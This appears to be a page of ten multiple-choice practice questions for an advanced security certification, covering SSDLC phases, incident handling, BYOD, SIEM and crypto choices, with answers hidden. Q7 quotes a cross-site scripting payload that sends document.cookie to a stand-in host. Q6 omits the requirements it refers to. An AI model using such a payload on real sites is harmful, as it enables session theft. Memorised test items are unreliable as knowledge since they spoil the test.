Q1. - (Topic 3) 

The risk committee has endorsed the adoption of a security system development life cycle (SSDLC) designed to ensure compliance with PCI-DSS, HIPAA, and meet the organization’s mission. Which of the following BEST describes the correct order of implementing a five phase SSDLC? 

A. Initiation, assessment/acquisition, development/implementation, operations/maintenance and sunset. 

B. Initiation, acquisition/development, implementation/assessment, operations/maintenance and sunset. 

C. Assessment, initiation/development, implementation/assessment, operations/maintenance and disposal. 

D. Acquisition, initiation/development, implementation/assessment, operations/maintenance and disposal. 

View Answer

Q2. CORRECT TEXT - (Topic 3) 

The IDS has detected abnormal behavior on this network Click on the network devices to view device information Based on this information, the following tasks need to be completed: 

1. Select the server that is a victim of a SQL injection attack. 

2 Select the source of the buffer overflow attack. 

3. Modify the access control list (ACL) on the router(s) to ONLY block the buffer overflow attack. 

Instructions: Simulations can be reset at any time to the initial state: however, all selections will be deleted. 

View Answer

Q3. - (Topic 2) 

The DLP solution has been showing some unidentified encrypted data being sent using FTP to a remote server. A vulnerability scan found a collection of Linux servers that are missing OS level patches. Upon further investigation, a technician notices that there are a few unidentified processes running on a number of the servers. What would be a key FIRST step for the data security team to undertake at this point? 

A. Capture process ID data and submit to anti-virus vendor for review. 

B. Reboot the Linux servers, check running processes, and install needed patches. 

C. Remove a single Linux server from production and place in quarantine. 

D. Notify upper management of a security breach. 

E. Conduct a bit level image, including RAM, of one or more of the Linux servers. 

View Answer

Q4. - (Topic 2) 

An employee is performing a review of the organization’s security functions and noticed that there is some cross over responsibility between the IT security team and the financial fraud team. Which of the following security documents should be used to clarify the roles and responsibilities between the teams? 

A. BPA 

B. BIA 

C. MOU 

D. OLA 

View Answer

Q5. - (Topic 5) 

As a cost saving measure, a company has instructed the security engineering team to allow all consumer devices to be able to access the network. They have asked for recommendations on what is needed to secure the enterprise, yet offer the most flexibility in terms of controlling applications, and stolen devices. Which of the following is BEST suited for the requirements? 

A. MEAP with Enterprise Appstore 

B. Enterprise Appstore with client-side VPN software 

C. MEAP with TLS 

D. MEAP with MDM 

View Answer

Q6. - (Topic 4) 

A retail bank has had a number of issues in regards to the integrity of sensitive information across all of its customer databases. This has resulted in the bank’s share price decreasing in value by 50% and regulatory intervention and monitoring. 

The new Chief Information Security Officer (CISO) as a result has initiated a program of work to solve the issues. 

The business has specified that the solution needs to be enterprise grade and meet the following requirements: 

In order to solve this problem, which of the following security solutions will BEST meet the above requirements? (Select THREE). 

A. Implement a security operations center to provide real time monitoring and incident response with self service reporting capability. 

B. Implement an aggregation based SIEM solution to be deployed on the log servers of the major platforms, applications, and infrastructure. 

C. Implement a security operations center to provide real time monitoring and incident response and an event correlation dashboard with self service reporting capability. 

D. Ensure that the network operations center has the tools to provide real time monitoring and incident response and an event correlation dashboard with self service reporting capabilities. 

E. Implement an agent only based SIEM solution to be deployed on all major platforms, applications, and infrastructures. 

F. Ensure appropriate auditing is enabled to capture the required information. 

G. Manually pull the logs from the major platforms, applications, and infrastructures to a central secure server. 

View Answer

Q7. - (Topic 1) 

A security administrator notices the following line in a server's security log: 

<input name='credentials' type='TEXT' value='" + request.getParameter('><script>document.location='http://badsite.com/?q='document.cooki e</script>') + "' 

The administrator is concerned that it will take the developer a lot of time to fix the application that is running on the server. Which of the following should the security administrator implement to prevent this particular attack? 

A. WAF 

B. Input validation 

C. SIEM 

D. Sandboxing 

E. DAM 

View Answer

Q8. - (Topic 1) 

A security officer is leading a lessons learned meeting. Which of the following should be components of that meeting? (Select TWO). 

A. Demonstration of IPS system 

B. Review vendor selection process 

C. Calculate the ALE for the event 

D. Discussion of event timeline 

E. Assigning of follow up items 

View Answer

Q9. - (Topic 5) 

A large hospital has implemented BYOD to allow doctors and specialists the ability to access patient medical records on their tablets. The doctors and specialists access patient records over the hospital’s guest WiFi network which is isolated from the internal network with appropriate security controls. The patient records management system can be accessed from the guest network and requires two factor authentication. Using a remote desktop type interface, the doctors and specialists can interact with the hospital’s system. Cut and paste and printing functions are disabled to prevent the copying of data to BYOD devices. Which of the following are of MOST concern? (Select TWO). 

A. Privacy could be compromised as patient records can be viewed in uncontrolled areas. 

B. Device encryption has not been enabled and will result in a greater likelihood of data loss. 

C. The guest WiFi may be exploited allowing non-authorized individuals access to confidential patient data. 

D. Malware may be on BYOD devices which can extract data via key logging and screen scrapes. 

E. Remote wiping of devices should be enabled to ensure any lost device is rendered inoperable. 

View Answer

Q10. - (Topic 2) 

A security administrator has been asked to select a cryptographic algorithm to meet the criteria of a new application. The application utilizes streaming video that can be viewed both on computers and mobile devices. The application designers have asked that the algorithm support the transport encryption with the lowest possible performance overhead. Which of the following recommendations would BEST meet the needs of the application designers? (Select TWO). 

A. Use AES in Electronic Codebook mode 

B. Use RC4 in Cipher Block Chaining mode 

C. Use RC4 with Fixed IV generation 

D. Use AES with cipher text padding 

E. Use RC4 with a nonce generated IV 

F. Use AES in Counter mode 

View Answer